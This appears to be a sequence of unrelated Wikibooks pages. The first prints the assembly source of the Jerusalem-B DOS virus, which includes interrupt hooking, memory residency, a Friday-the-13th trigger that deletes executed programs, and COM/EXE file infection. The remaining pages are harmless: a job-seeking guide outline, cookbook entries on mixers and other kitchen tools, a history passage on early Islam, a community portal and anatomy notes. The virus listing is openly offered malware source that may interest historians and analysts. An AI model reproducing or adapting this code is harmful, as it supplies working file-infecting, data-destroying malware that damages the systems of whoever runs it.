text:
Self-Replicating Automata/List/Jerusalem

Introduction
The Jerusalem family is very prolific in the number of variants. This is one of the variants of Jerusalem virus.

Source Code
PAGE 59,132

 * Jerusalem Virus - Strain B

.286c

data_1e        equ     2Ch data_2e        equ     43h data_3e        equ     45h data_4e        equ     47h data_5e        equ     49h data_6e        equ     51h data_7e        equ     53h data_8e        equ     57h data_9e        equ     5Dh data_10e       equ     5Fh data_11e       equ     61h data_12e       equ     63h data_13e       equ     65h data_14e       equ     78h data_15e       equ     7Ah data_16e       equ     7Ch data_17e       equ     7Eh data_18e       equ     0Ah data_19e       equ     0Ch data_20e       equ     0Eh data_21e       equ     0Fh data_22e       equ     11h data_23e       equ     13h data_24e       equ     15h data_25e       equ     17h data_26e       equ     19h data_27e       equ     1Bh data_28e       equ     1Dh data_29e       equ     1Fh data_30e       equ     29h data_31e       equ     2Bh data_32e       equ     2Dh data_33e       equ     2Fh data_34e       equ     31h data_35e       equ     33h data_36e       equ     4Eh data_37e       equ     70h data_38e       equ     72h data_39e       equ     74h data_40e       equ     76h data_41e       equ     7Ah data_42e       equ     80h data_43e       equ     82h data_44e       equ     8Fh

seg_a          segment assume cs:seg_a, ds:seg_a

org    100h

je             proc    far

start: jmp    loc_2                   ; (0195) db     73h, 55h, 4Dh, 73h, 44h, 6Fh db     73h, 0, 1, 0EBh, 21h, 0 db     0, 0, 0ABh, 0Bh, 2Ch, 2 db     70h, 0, 92h, 0Eh, 29h, 1Ah db     0EBh, 4, 59h, 6Fh, 0A8h db     7Bh db     13 dup (0) db     0E8h, 6, 0D7h, 62h, 21h, 80h db     0, 0, 0, 80h, 0, 62h db     21h, 5Ch, 0, 62h, 21h, 6Ch db     0, 62h, 21h, 10h, 7, 60h db     5Bh, 0C5h, 0, 60h, 5Bh, 0 db     0F0h, 6, 0, 4Dh, 5Ah, 30h db     0, 53h, 0, 1Fh, 0, 20h db     0, 0, 0, 0FFh, 0FFh, 0B2h db     9, 10h, 7, 84h, 19h, 0C5h db     0, 0B2h, 9, 20h, 0, 0 db     0, 2Eh, 0Dh, 0Ah, 0, 0 db     5, 0, 20h, 0, 26h, 12h db     46h, 0A3h, 0, 2, 10h, 0 db     20h, 9Dh, 0, 0, 7Bh, 3Dh db     2Eh, 9Bh db     'COMMAND.COM' db     1, 0, 0, 0, 0, 0 loc_2: cld                            ; Clear direction mov    ah,0E0h int    21h                     ; DOS Services  ah=function E0h cmp    ah,0E0h jae    loc_3                   ; Jump if above or = cmp    ah,3 jb     loc_3                   ; Jump if below mov    ah,0DDh mov    di,100h mov    si,710h add    si,di mov    cx,cs:[di+11h] nop                            ;*Fixup for MASM (M) int    21h                     ; DOS Services  ah=function DDh loc_3: mov    ax,cs add    ax,10h mov    ss,ax mov    sp,700h loc_4: push   ax                mov     ax,0C5h push   ax                retf                            ; Return far db     0FCh, 6, 2Eh, 8Ch, 6, 31h db     0, 2Eh, 8Ch, 6, 39h, 0 db     2Eh, 8Ch, 6, 3Dh, 0, 2Eh db     8Ch, 6, 41h, 0, 8Ch, 0C0h db     5, 10h, 0, 2Eh, 1, 6 db     49h, 0, 2Eh, 1, 6, 45h db     0, 0B4h, 0E0h, 0CDh, 21h, 80h db     0FCh, 0E0h, 73h, 13h, 80h, 0FCh db     3, 7, 2Eh, 8Eh, 16h, 45h db     0, 2Eh, 8Bh, 26h, 43h, 0 db     2Eh, 0FFh, 2Eh, 47h, 0, 33h db     0C0h, 8Eh, 0C0h, 26h, 0A1h, 0FCh db     3, 2Eh, 0A3h, 4Bh, 0, 26h db     0A0h, 0FEh, 3, 2Eh, 0A2h, 4Dh db     0 db     26h

je             endp

 * External Entry Point

int_24h_entry  proc    far mov    word ptr ds:[3FCh],0A5F3h mov    byte ptr es:data_47,0CBh pop    ax                add     ax,10h mov    es,ax push   cs                pop     ds                mov     cx,710h shr    cx,1                    ; Shift w/zeros fill xor    si,si                   ; Zero register mov    di,si push   es                mov     ax,142h push   ax                db      0EAh, 0FCh, 3, 0, 0 db     8Ch, 0C8h, 8Eh, 0D0h, 0BCh, 0 db     7, 33h, 0C0h, 8Eh, 0D8h, 2Eh db     0A1h, 4Bh, 0, 0A3h, 0FCh, 3 db     2Eh, 0A0h, 4Dh, 0, 0A2h, 0FEh db     3 int_24h_entry  endp
 * jmp    far ptr loc_1           ;*(0000:03FC)

 * External Entry Point

int_21h_entry  proc    far mov    bx,sp mov    cl,4 shr    bx,cl                   ; Shift w/zeros fill add    bx,10h mov    cs:data_35e,bx mov    ah,4Ah                  ; 'J'                mov     es,cs:data_34e int    21h                     ; DOS Services  ah=function 4Ah ; change mem allocation, bx=siz mov    ax,3521h int    21h                     ; DOS Services  ah=function 35h ; get intrpt vector al in es:bx mov    cs:data_25e,bx mov    cs:data_26e,es push   cs                pop     ds                mov     dx,25Bh mov    ax,2521h int    21h                     ; DOS Services  ah=function 25h ; set intrpt vector al to ds:dx mov    es,ds:data_34e mov    es,es:data_1e xor    di,di                   ; Zero register mov    cx,7FFFh xor    al,al                   ; Zero register

locloop_5: repne  scasb                   ; Rep zf=0+cx >0 Scan es:[di] for al                cmp     es:[di],al loopnz locloop_5               ; Loop if zf=0, cx>0

mov    dx,di add    dx,3 mov    ax,4B00h push   es                pop     ds                push    cs                pop     es                mov     bx,35h push   ds                push    es                push    ax                push    bx                push    cx                push    dx                mov     ah,2Ah                  ; '*' int    21h                     ; DOS Services  ah=function 2Ah ; get date, cx=year, dx=mon/day mov    byte ptr cs:data_20e,0 cmp    cx,7C3h je     loc_7                   ; Jump if equal cmp    al,5                    ; Check to see if it's Friday jne    loc_6                   ; Jump if not equal cmp    dl,0Dh                  ; Check to see if it's the 13th jne    loc_6                   ; Jump if not equal inc    byte ptr cs:data_20e jmp    short loc_7             ; (02F7) db     90h loc_6: mov    ax,3508h int    21h                     ; DOS Services  ah=function 35h ; get intrpt vector al in es:bx mov    cs:data_23e,bx mov    cs:data_24e,es push   cs                pop     ds                mov     word ptr ds:data_29e,7E90h mov    ax,2508h mov    dx,21Eh int    21h                     ; DOS Services  ah=function 25h ; set intrpt vector al to ds:dx loc_7: pop    dx                pop     cx                pop     bx                pop     ax                pop     es                pop     ds                pushf                           ; Push flags call   dword ptr cs:data_25e push   ds                pop     es                mov     ah,49h                  ; 'I'                int     21h                     ; DOS Services  ah=function 49h ; release memory block, es=seg mov    ah,4Dh                  ; 'M'                int     21h                     ; DOS Services  ah=function 4Dh ; get return code info in ax                mov     ah,31h                  ; '1' mov    dx,600h mov    cl,4 shr    dx,cl                   ; Shift w/zeros fill add    dx,10h int    21h                     ; DOS Services  ah=function 31h ; terminate & stay resident db     32h, 0C0h, 0CFh, 2Eh, 83h, 3Eh db     1Fh, 0, 2, 75h, 17h, 50h db     53h, 51h, 52h, 55h, 0B8h, 2 db     6, 0B7h, 87h, 0B9h, 5, 5 db     0BAh, 10h, 10h, 0CDh, 10h, 5Dh db     5Ah, 59h, 5Bh, 58h, 2Eh, 0FFh db     0Eh, 1Fh, 0, 75h, 12h, 2Eh db     0C7h, 6, 1Fh, 0, 1, 0 db     50h, 51h, 56h, 0B9h, 1, 40h db     0F3h, 0ACh db     5Eh, 59h, 58h loc_8: jmp    dword ptr cs:data_23e db     9Ch, 80h, 0FCh, 0E0h, 75h, 5 db     0B8h, 0, 3, 9Dh, 0CFh, 80h db     0FCh, 0DDh, 74h, 13h, 80h, 0FCh db     0DEh, 74h, 28h, 3Dh, 0, 4Bh db     75h, 3, 0E9h, 0B4h, 0 loc_9: popf                           ; Pop flags jmp    dword ptr cs:data_25e loc_10: pop    ax                pop     ax                mov     ax,100h mov    cs:data_18e,ax pop    ax                mov     cs:data_19e,ax rep    movsb                   ; Rep when cx >0 Mov [si] to es:[di] popf                           ; Pop flags mov    ax,cs:data_21e jmp    dword ptr cs:data_18e loc_11: add    sp,6 popf                           ; Pop flags mov    ax,cs mov    ss,ax mov    sp,710h push   es                push    es                xor     di,di                   ; Zero register push   cs                pop     es                mov     cx,10h mov    si,bx mov    di,21h rep    movsb                   ; Rep when cx >0 Mov [si] to es:[di] mov    ax,ds mov    es,ax mul    word ptr cs:data_41e    ; ax = data * ax                add     ax,cs:data_31e adc    dx,0 div    word ptr cs:data_41e    ; ax,dxrem=dx:ax/data mov    ds,ax mov    si,dx mov    di,dx mov    bp,es mov    bx,cs:data_33e or     bx,bx                   ; Zero ? jz     loc_13                  ; Jump if zero loc_12: mov    cx,8000h rep    movsw                   ; Rep when cx >0 Mov [si] to es:[di] add    ax,1000h add    bp,1000h mov    ds,ax mov    es,bp dec    bx                jnz     loc_12                  ; Jump if not zero loc_13: mov    cx,cs:data_32e rep    movsb                   ; Rep when cx >0 Mov [si] to es:[di] pop    ax                push    ax                add     ax,10h add    cs:data_30e,ax data_47        db      2Eh db     1, 6, 25h, 0, 2Eh, 0A1h db     21h, 0, 1Fh, 7, 2Eh, 8Eh db     16h, 29h, 0, 2Eh, 8Bh, 26h db     27h, 0, 2Eh, 0FFh, 2Eh, 23h db     0 loc_14: xor    cx,cx                   ; Zero register mov    ax,4301h int    21h                     ; DOS Services  ah=function 43h ; get/set file attrb, nam@ds:dx mov    ah,41h                  ; 'A'                int     21h                     ; DOS Services  ah=function 41h ; delete file, name @ ds:dx mov    ax,4B00h popf                           ; Pop flags jmp    dword ptr cs:data_25e loc_15: cmp    byte ptr cs:data_20e,1 je     loc_14                  ; Jump if equal mov    word ptr cs:data_37e,0FFFFh mov    word ptr cs:data_44e,0 mov    cs:data_42e,dx mov    cs:data_43e,ds push   ax                push    bx                push    cx                push    dx                push    si                push    di                push    ds                push    es                cld                             ; Clear direction mov    di,dx xor    dl,dl                   ; Zero register cmp    byte ptr [di+1],3Ah     ; ':' jne    loc_16                  ; Jump if not equal mov    dl,[di] and    dl,1Fh loc_16: mov    ah,36h                  ; '6' int    21h                     ; DOS Services  ah=function 36h ; get free space, drive dl,1=a: cmp    ax,0FFFFh jne    loc_18                  ; Jump if not equal loc_17: jmp    loc_44                  ; (06E7) loc_18: mul    bx                      ; dx:ax = reg * ax                mul     cx                      ; dx:ax = reg * ax                or      dx,dx                   ; Zero ? jnz    loc_19                  ; Jump if not zero cmp    ax,710h jb     loc_17                  ; Jump if below loc_19: mov    dx,cs:data_42e push   ds                pop     es                xor     al,al                   ; Zero register mov    cx,41h repne  scasb                   ; Rep zf=0+cx >0 Scan es:[di] for al                mov     si,cs:data_42e loc_20: mov    al,[si] or     al,al                   ; Zero ? jz     loc_22                  ; Jump if zero cmp    al,61h                  ; 'a'                jb      loc_21                  ; Jump if below cmp    al,7Ah                  ; 'z'                ja      loc_21                  ; Jump if above sub    byte ptr [si],20h       ; ' ' loc_21: inc    si                jmp     short loc_20            ; (0490) loc_22: mov    cx,0Bh sub    si,cx mov    di,84h push   cs                pop     es                mov     cx,0Bh repe   cmpsb                   ; Rep zf=1+cx >0 Cmp [si] to es:[di] jnz    loc_23                  ; Jump if not zero jmp    loc_44                  ; (06E7) loc_23: mov    ax,4300h int    21h                     ; DOS Services  ah=function 43h ; get/set file attrb, nam@ds:dx jc     loc_24                  ; Jump if carry Set mov    cs:data_38e,cx loc_24: jc     loc_26                  ; Jump if carry Set xor    al,al                   ; Zero register mov    cs:data_36e,al push   ds                pop     es                mov     di,dx mov    cx,41h repne  scasb                   ; Rep zf=0+cx >0 Scan es:[di] for al                cmp     byte ptr [di-2],4Dh     ; 'M'                je      loc_25                  ; Jump if equal cmp    byte ptr [di-2],6Dh     ; 'm'                je      loc_25                  ; Jump if equal inc    byte ptr cs:data_36e loc_25: mov    ax,3D00h int    21h                     ; DOS Services  ah=function 3Dh ; open file, al=mode,name@ds:dx loc_26: jc     loc_28                  ; Jump if carry Set mov    cs:data_37e,ax mov    bx,ax mov    ax,4202h mov    cx,0FFFFh mov    dx,0FFFBh int    21h                     ; DOS Services  ah=function 42h ; move file ptr, cx,dx=offset jc     loc_26                  ; Jump if carry Set add    ax,5 mov    cs:data_22e,ax mov    cx,5 mov    dx,6Bh mov    ax,cs mov    ds,ax mov    es,ax mov    ah,3Fh                  ; '?' int    21h                     ; DOS Services  ah=function 3Fh ; read file, cx=bytes, to ds:dx mov    di,dx mov    si,5 repe   cmpsb                   ; Rep zf=1+cx >0 Cmp [si] to es:[di] jnz    loc_27                  ; Jump if not zero mov    ah,3Eh                  ; '>' int    21h                     ; DOS Services  ah=function 3Eh ; close file, bx=file handle jmp    loc_44                  ; (06E7) loc_27: mov    ax,3524h int    21h                     ; DOS Services  ah=function 35h ; get intrpt vector al in es:bx mov    ds:data_27e,bx mov    ds:data_28e,es mov    dx,21Bh mov    ax,2524h int    21h                     ; DOS Services  ah=function 25h ; set intrpt vector al to ds:dx lds    dx,dword ptr ds:data_42e        ; Load 32 bit ptr xor    cx,cx                   ; Zero register mov    ax,4301h int    21h                     ; DOS Services  ah=function 43h ; get/set file attrb, nam@ds:dx loc_28: jc     loc_29                  ; Jump if carry Set mov    bx,cs:data_37e mov    ah,3Eh                  ; '>' int    21h                     ; DOS Services  ah=function 3Eh ; close file, bx=file handle mov    word ptr cs:data_37e,0FFFFh mov    ax,3D02h int    21h                     ; DOS Services  ah=function 3Dh ; open file, al=mode,name@ds:dx jc     loc_29                  ; Jump if carry Set mov    cs:data_37e,ax mov    ax,cs mov    ds,ax mov    es,ax mov    bx,ds:data_37e mov    ax,5700h int    21h                     ; DOS Services  ah=function 57h ; get/set file date & time mov    ds:data_39e,dx mov    ds:data_40e,cx mov    ax,4200h xor    cx,cx                   ; Zero register mov    dx,cx int    21h                     ; DOS Services  ah=function 42h ; move file ptr, cx,dx=offset loc_29: jc     loc_32                  ; Jump if carry Set cmp    byte ptr ds:data_36e,0 je     loc_30                  ; Jump if equal jmp    short loc_34            ; (05E6) db     90h loc_30: mov    bx,1000h mov    ah,48h                  ; 'H'                int     21h                     ; DOS Services  ah=function 48h ; allocate memory, bx=bytes/16 jnc    loc_31                  ; Jump if carry=0 mov    ah,3Eh                  ; '>' mov    bx,ds:data_37e int    21h                     ; DOS Services  ah=function 3Eh ; close file, bx=file handle jmp    loc_44                  ; (06E7) loc_31: inc    word ptr ds:data_44e mov    es,ax xor    si,si                   ; Zero register mov    di,si mov    cx,710h rep    movsb                   ; Rep when cx >0 Mov [si] to es:[di] mov    dx,di mov    cx,ds:data_22e mov    bx,ds:data_37e push   es                pop     ds                mov     ah,3Fh                  ; '?' int    21h                     ; DOS Services  ah=function 3Fh ; read file, cx=bytes, to ds:dx loc_32: jc     loc_33                  ; Jump if carry Set add    di,cx xor    cx,cx                   ; Zero register mov    dx,cx mov    ax,4200h int    21h                     ; DOS Services  ah=function 42h ; move file ptr, cx,dx=offset mov    si,5 mov    cx,5 rep    movs  byte ptr es:[di],cs:[si]  ; Rep when cx >0 Mov [si] to es:[di] mov    cx,di xor    dx,dx                   ; Zero register mov    ah,40h                  ; '@' int    21h                     ; DOS Services  ah=function 40h ; write file cx=bytes, to ds:dx loc_33: jc     loc_35                  ; Jump if carry Set jmp    loc_42                  ; (06A2) loc_34: mov    cx,1Ch mov    dx,4Fh mov    ah,3Fh                  ; '?' int    21h                     ; DOS Services  ah=function 3Fh ; read file, cx=bytes, to ds:dx loc_35: jc     loc_37                  ; Jump if carry Set mov    word ptr ds:data_11e,1984h mov    ax,ds:data_9e mov    ds:data_3e,ax mov    ax,ds:data_10e mov    ds:data_2e,ax mov    ax,ds:data_12e mov    ds:data_4e,ax mov    ax,ds:data_13e mov    ds:data_5e,ax mov    ax,ds:data_7e cmp    word ptr ds:data_6e,0 je     loc_36                  ; Jump if equal dec    ax loc_36: mul    word ptr ds:data_14e    ; ax = data * ax                add     ax,ds:data_6e adc    dx,0 add    ax,0Fh adc    dx,0 and    ax,0FFF0h mov    ds:data_16e,ax mov    ds:data_17e,dx add    ax,710h adc    dx,0 loc_37: jc     loc_39                  ; Jump if carry Set div    word ptr ds:data_14e    ; ax,dxrem=dx:ax/data or     dx,dx                   ; Zero ? jz     loc_38                  ; Jump if zero inc    ax loc_38: mov    ds:data_7e,ax mov    ds:data_6e,dx mov    ax,ds:data_16e mov    dx,ds:data_17e div    word ptr ds:data_15e    ; ax,dxrem=dx:ax/data sub    ax,ds:data_8e mov    ds:data_13e,ax mov    word ptr ds:data_12e,0C5h mov    ds:data_9e,ax mov    word ptr ds:data_10e,710h xor    cx,cx                   ; Zero register mov    dx,cx mov    ax,4200h int    21h                     ; DOS Services  ah=function 42h ; move file ptr, cx,dx=offset loc_39: jc     loc_40                  ; Jump if carry Set mov    cx,1Ch mov    dx,4Fh mov    ah,40h                  ; '@' int    21h                     ; DOS Services  ah=function 40h ; write file cx=bytes, to ds:dx loc_40: jc     loc_41                  ; Jump if carry Set cmp    ax,cx jne    loc_42                  ; Jump if not equal mov    dx,ds:data_16e mov    cx,ds:data_17e mov    ax,4200h int    21h                     ; DOS Services  ah=function 42h ; move file ptr, cx,dx=offset loc_41: jc     loc_42                  ; Jump if carry Set xor    dx,dx                   ; Zero register mov    cx,710h mov    ah,40h                  ; '@' int    21h                     ; DOS Services  ah=function 40h ; write file cx=bytes, to ds:dx loc_42: cmp    word ptr cs:data_44e,0 je     loc_43                  ; Jump if equal mov    ah,49h                  ; 'I'                int     21h                     ; DOS Services  ah=function 49h ; release memory block, es=seg loc_43: cmp    word ptr cs:data_37e,0FFFFh je     loc_44                  ; Jump if equal mov    bx,cs:data_37e mov    dx,cs:data_39e mov    cx,cs:data_40e mov    ax,5701h int    21h                     ; DOS Services  ah=function 57h ; get/set file date & time mov    ah,3Eh                  ; '>' int    21h                     ; DOS Services  ah=function 3Eh ; close file, bx=file handle lds    dx,dword ptr cs:data_42e        ; Load 32 bit ptr mov    cx,cs:data_38e mov    ax,4301h int    21h                     ; DOS Services  ah=function 43h ; get/set file attrb, nam@ds:dx lds    dx,dword ptr cs:data_27e        ; Load 32 bit ptr mov    ax,2524h int    21h                     ; DOS Services  ah=function 25h ; set intrpt vector al to ds:dx loc_44: pop    es                pop     ds                pop     di                pop     si                pop     dx                pop     cx                pop     bx                pop     ax                popf                            ; Pop flags jmp    dword ptr cs:data_25e db     11 dup (0) db     4Dh, 63h, 21h, 4 db     13 dup (0) db     5Bh, 0, 0, 0, 2Bh, 0 db     0FFh db     17 dup (0FFh) db     'E:\SV\EXECDOS.BAT' db     0 db     'EXECDOS', 0Dh db     0, 7Dh, 0, 0, 80h, 0 db     53h, 0Eh, 5Ch, 0, 53h, 0Eh db     6Ch, 4Dh, 63h, 21h, 0, 10h db     'EC=F:\DOS\C' db     0E9h, 92h, 0, 73h, 55h, 4Dh db     73h, 44h, 6Fh, 73h, 0, 1 db     0B8h, 22h, 0, 0, 0, 1Ah db     3, 2Ch, 2, 70h, 0 loc_45: xchg   ax,dx push   cs                sub     [bp+si],bx db     0EBh, 4 db     63h, 21h, 0D0h, 59h int_21h_entry  endp
 * jmp    short loc_46            ;*(0781)

seg_a          ends

end    start


text:
Find Employment

Introduction
This wikibook is an attempt to explain the process of finding a job and getting hired for that job. It will explain such topics as finding a job, writing a resume, and performing at an interview.

Disclaimer: External Links are provided for reference, and do not constitute an endorsement. Spam will not be tolerated, and will be removed on sight.

Table of Contents

 * /Introduction/

Getting Started

 * Your Career Path
 * /Education and Training/
 * /Financial Aid/
 * Find Prospective Employers

Apply

 * /About Resumes/
 * /Resume Sections/
 * /Electronic Resumes/
 * /Cover Letters/
 * /Applying Online/
 * /Follow Up/

Interview

 * /Interviewing/
 * /Interview Questions/
 * /Interview Tips/

The Offer

 * /Offer Strategies/

Start Business

 * /Start Business/

Appendices

 * /Regional Job Help/
 * /Summer Work/
 * /Industries/

Resources and Licensing

 * /Resources/
 * /Licensing/
 * Finding a Job on FindEmployment

Εύρεση Εργασίας

license: Creative Commons - Attribution Share-Alike - https://creativecommons.org/licenses/by-sa/4.0/

title: Find Employment


text:
User talk:Mitalikini

Hi there!

title: User talk:Mitalikini


text:
Cookbook:Beater

| Appliances | Mixer

A beater is the normal mixer attachment, typically somewhat whisk-like in shape. It can also be a hand-powered tool, usually called an egg beater, as shown at right.

Beaters are used with foods that do not require great force to mix. Example usages:

 * making whipped cream from cream
 * beating eggs to make a meringue
 * mixing thin cake batter

Beaters are not suitable for mixing thick cookie dough, pizza dough, or bread dough. The beaters might stall the motor of the mixer or bend. Beaters are also difficult to clean dough from. You should use dough hooks for such tasks.

title: Cookbook:Beater


text:
Cookbook:Mixer

| Kitchen appliances

A mixer is a kitchen appliance used to help the cook with higher-speed mixing, beating, kneading, and whipping. They can be hand-cranked or electric, and there are a variety of different types.

Egg beater
Also called a hand-cranked mixer or beater, an egg beater is a small handheld device that uses a hand crank to rapidly turn one or more beaters.

Hand mixer
A hand mixer is an electric handheld mixer with two removable beaters that spin in place. Helical (corkscrew-like) dough hook attachments are usually provided for working with moderately tough dough, and whisk-like attachments may also be included. Typically this kind of mixer is held over the mixing bowl, though some come with a specialized stand and bowl that allow the cook to put the mixer down without stopping the mixing process.

Stand mixer
A stand mixer is a larger piece of equipment with a bowl that locks into place under a frame holding the motor and mixer attachments. Planetary stand mixers are one of the most common household types, and they work by rapidly moving the mixer attachment around the bowl. Common attachments include the paddle/beater, whisk/whip, and dough hook.

Uses
The different varieties of mixers have slightly different appropriate uses. Egg beaters are suitable for smaller amounts of fluids, and they are best suited for beating eggs and egg whites. Hand mixers provide more power and can be used for small to medium volumes; they can be used for creaming, whipping, and kneading small amounts of wet dough. Stand mixers are the most powerful, and they will produce more aerated or kneaded products in less time; however, they are not suitable for small volumes.

title: Cookbook:Mixer


text:
Cookbook:Waffle Iron

| Kitchen appliances

A waffle maker (also known as a waffle iron) is a type of kitchen appliance used to make waffles. It usually consists of two hinged metal plates, moulded to create the square indentations found on waffles. The batter is poured between the plates, and heated to make the waffle. Commonly these come equipped with an internal heating element, although waffle irons exist that do not depend on electricity; they generally are held over an open flame.

Rectangular shaped waffle irons often can be converted to a griddle (or flat iron) by removing the iron plating and flipping it over. This is ideally used to make pitchy breads (specifically pancakes), but can also double as an ungreased frying pan (grease will generally run into the spill groove; batter should be too thick). Oddly shaped or patterned irons usually lack this feature, as they will heat unevenly. Check the manual or manufacturer's website before attempting this conversion.

title: Cookbook:Waffle Iron


text:
Biblical Studies/Christianity

Christianity: Modernity Version  − N.T. Translation in progress Now go, write it before them in a table, and note it in a book, that it may be for the time to come for ever and ever: (Isa. 30:8)

This table an integral part of Christian "How To" Book of learning School of Theology.

Einführung in das Christentum

title: Biblical Studies/Christianity


text:
Cookbook:Toaster

| Kitchen appliances

A toaster is a kitchen appliance for toasting food such as sliced bread, crumpets, and bagels. Toasted bread is called toast. A typical toaster uses heat radiated from hot electric elements to heat a piece of bread. The toasting process consists of reducing the bread's water content, raising its temperature, and slightly charring and caramelizing its surface. The caramelizing process is a chemical reaction in which the complex starch molecules break apart into simpler sugar molecules upon heating. That is why toast is usually sweeter than normal bread.

More recent additions to toaster technology include the ability to toast frozen bread (as with the toaster pictured), separate operation levers to allow users to toast either two or four slices, and reheating functions which allow toast to be warmed without being burned.

title: Cookbook:Toaster


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Cookbook:Pasta Maker

| Kitchen Tools

A pasta maker or pasta machine is a medium-sized kitchen tool designed to simplify the process of rolling and cutting egg noodles, or other kinds of dough to make fresh pasta such as ravioli, lasagne, fettuccine, and tagliatelle.

The machine is used to roll pasta dough into a progressively thinner sheet with each pass through the machine. When the desired thickness is reached, the sheet can be used as it is to make ravioli. Some machines have inbuilt cutters where the sheet can be passed through a cutter and separated into strips of the appropriate width.

Unlike an extrusion type pasta maker, the manual type has a crank attached or in most cases, slots for a crank on the side. The crank turns a series of rollers, some interlocking to cut, and others just to flatten. An adjuster wheel on one side controls the distance between the flat roller wheels. There are typically two sets of cutting wheels, each with its own slot for the crank. One set is very finely spaced for cutting spaghetti, the other is spaced at about ¼" (5 mm) for fettuccine.

title: Cookbook:Pasta Maker


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World History/Middle Eastern Empires

Arabia, Pre-Islam
Before the rise of Islam, the Arabian peninsula was dominated by nomadic Bedouin cultures that dominated the region. The polytheistic bedouin clans placed heavy emphasis on kin-related groups, with each clan clustered under tribes. Warfare between tribes was common among the Bedouin, and warfare was given a high honor. The difficult living conditions in the Arabian peninsula created a heavy emphasis on family cooperation, further strengthening the clan system.

Although the majority of Arabia was nomadic, there were several important cities that came into being as centers of trade and religion, such as Yathrib [Medina], Mecca, Karbala and Damascus. The most important of these cities was Mecca, which was an important center of trade in the area, as well as the location of the Ka'ba, one of the most revered shrines in polytheistic Arabia.

Culturally, Pre-Islamic Arabia was similar to what would come later, with some notable differences. Pre-Islam, most Bedouin tribes were polytheistic and animist, with some notable exceptions (three of the ruling tribes of Yathrib were Jewish). A few tribes worshiped one supreme being, called Allah, but this was not common. Like later cultures in the region, the Bedouin tribes placed heavy importance on poetry as well as oral tradition.

Muhammad and the Beginnings of Islam
Muhammad was born to the prominent Banu Hashim clan of the Quraysh tribe. His father died shortly after he was born and his mother died when he was six. He was raised by his grandfather until he died when Muhammad was eight and later by his uncle. Muhammad was raised as, and became, a merchant.

While a young man, Muhammad worked as a trader for a wealthy widow, Khadijah, whom he would marry a few years later. His work as a merchant arguably influenced his philosophy as he encountered different cultures and religions, most notably Christianity and Judaism.

Around 610 AD, Muhammad received the first of his revelations from the angel Gabriel; these revelations were written (in Arabic) into the Qu'ran, where they would form the basis for the religion of Islam. The early followers of this new faith were small, including mostly his wife, some clansmen, some servants and slaves. Muhammad began to preach his new faith to his clan and the people of Mecca.

As Islam spread, the dominant clan in Mecca, the Umayyad, saw the new faith as a threat to their political power and to their religious power held by controlling the polytheistic shrines at Ka'ba. As the religion spread, Muhammad grew to be further threatened by the Umayyads. Muhammad was perceived as a danger similar to the conditions in Yathrib, where two religions (Judaism and the Bedouin religion) fought for power.

Because of the danger for Muhammad and his followers in Mecca, they left Mecca in favor of Yathrib. This event is known as the hijra. Muhammad was jubilantly welcomed in Yathrib, and the city was renamed "Medina", due to his ability to end the religious quarrels in the city. Islam spread rapidly in Medina, and became a center of the new faith. Muhammad's power grew in the city of Medina.

Under Muhammad's leadership, Medina strengthened in power and soon rivaled Mecca. Muslim raids on Meccan treaders further endangered the Umayyads. The Quraysh fought with the Muslims in the mid-620s. In 628, Muhammad signed a peace treaty with the Umayyads. In 629, Muhammad and 10,000 converts returned to Mecca after the Meccans broke the treaty. Muhammad conquered the city of Mecca without bloodshed. Claiming to have proven the power of Allah, the shrines surrounding the Ka'ba that symbolized polytheistic false deities were smashed. Muhammad did not take control of Mecca, but kept control into the hands of the Umayyads, and returned to Medina. The Umayyads and others in Mecca converted to Islam in time.

The Rise and Fall of the Umayyad Empire
Muslim armies conquered most of Arabia by 633, further spreading Islam. Muslim armies soon conquered north Africa, part of the Iberian peninsula, Mesopotamia and Persia, significantly shaping the history of the world through the spread of Islam there.

Following the death of Muhammad in 632, tribal leaders convened on who should succeed him. After much debate between the choices of Ali (Muhammad's son-in-law) and Abu Bakr (Muhammad's close friend, an early convert, and political strong), Abu Bakr was chosen to lead and became the first caliph, this decision would later spawn controversy. Ali would go on to become the fourth caliph later.

During the caliphate of Abu Bakr (632-634 AD), the warlike Bedouin clans united to spread Islam. The weakness of the rich Byzantine and Persian empires encouraged them to expand. Arab leaders imposed a tax on cities that were cheaper than that of the Byzantines, and the Arabs offered military protection with these taxes. Arabs continued to spread Islam, and respected the People of the Book (Jews and Christians) while seeking to rid those religions they saw as polytheistic. These new lands were placed under Arab control through his jihad (Western fallacy is that jihad is used to spread Islam. Jihad is a struggle physically and comes in many forms).

title: World History/Middle Eastern Empires


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Cookbook:Dough Hook

| Kitchen appliances | Mixer

A dough hook is a mixer attachment, typically shaped like a helix (corkscrew shape) or "C" looking hook. Beaters are used with foods which require great force to mix. Example usages:

 * kneading bread
 * kneading pizza dough
 * mixing tough cookie batter

Dough hooks are not very good for making whipped cream from cream, beating Eggs to make a meringue, or mixing thin cake batter. Normal beaters are much more efficient for these tasks.

Unlike most beaters, dough hooks are typically easy to clean.

title: Cookbook:Dough Hook


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Wikibooks:Community Portal

Welcome to the Wikibooks Community Portal. You can find all sorts of useful links here, regardless of whether you want to read, edit, write or participate in other ways. You can play around in the sandbox to get a feel for how the editing system works. If you create an account, you can track your changes and more. You can ask questions or start a discussion in the reading room. You can also request new books or start one yourself.

Welcome · Welcome Wikimedians

da:Wikibooks:Forside de:Wikibooks:Portal eo:Vikilibroj:Komunuma portalo es:Wikilibros:Portal de la comunidad fa:ویکی‌کتاب:ورودی کاربران fr:Wikilivres:Accueil he:ויקיספר:שער הקהילה is:Wikibækur:Samfélagsgátt it:Wikibooks:Portale Comunità ja:Wikibooks:コミュニティ・ポータル ВикикнигиЧПортал на заедницата Gebruikersportaal pl:Wikibooks:Portal wikipedystów simple:Wikibooks:Community Portal sv:Wikibooks:Portalen tr:Vikikitap:Topluluk portalı vi:Wikibooks:Cộng đồng zh:Wikibooks:社區主頁

title: Wikibooks:Community Portal


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User:Benlee/Notes/ANP

Chapter 14 Chapter 15

title: User:Benlee/Notes/ANP


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User:Benlee/Notes/ANP/14

The Autonomic Nervous System

 * maintains homeostasis by controlling organs, glands, and heart
 * controls blood flow, pressure, body temp, and stomach secretions

Introduction

 * Definition: motor neurons that supply nerves to glands, smooth muscles, and cardiac muscles
 * The somatic nervous system has different effectors, pathways, and neurotransmitters
 * motor unit of ANS is two-neuron chain
 * preganglionic neuron is in CNS
 * preganglionic axon synapses with ganglionic neuron (an autonomic ganglion) outside CNS
 * axon is lightly myelinated, thin
 * postganglionic axon extends from the ganglionic neuron to the effector organ
 * axon is unmyelinated, thinner
 * somatic motor division has no ganglia
 * norepinephrine is released at effector organs in sympathetic division
 * acetylcholine is released at effector organs in parasympathetic division

ANS Divisions

 * Parasympathetic and Sympathetic
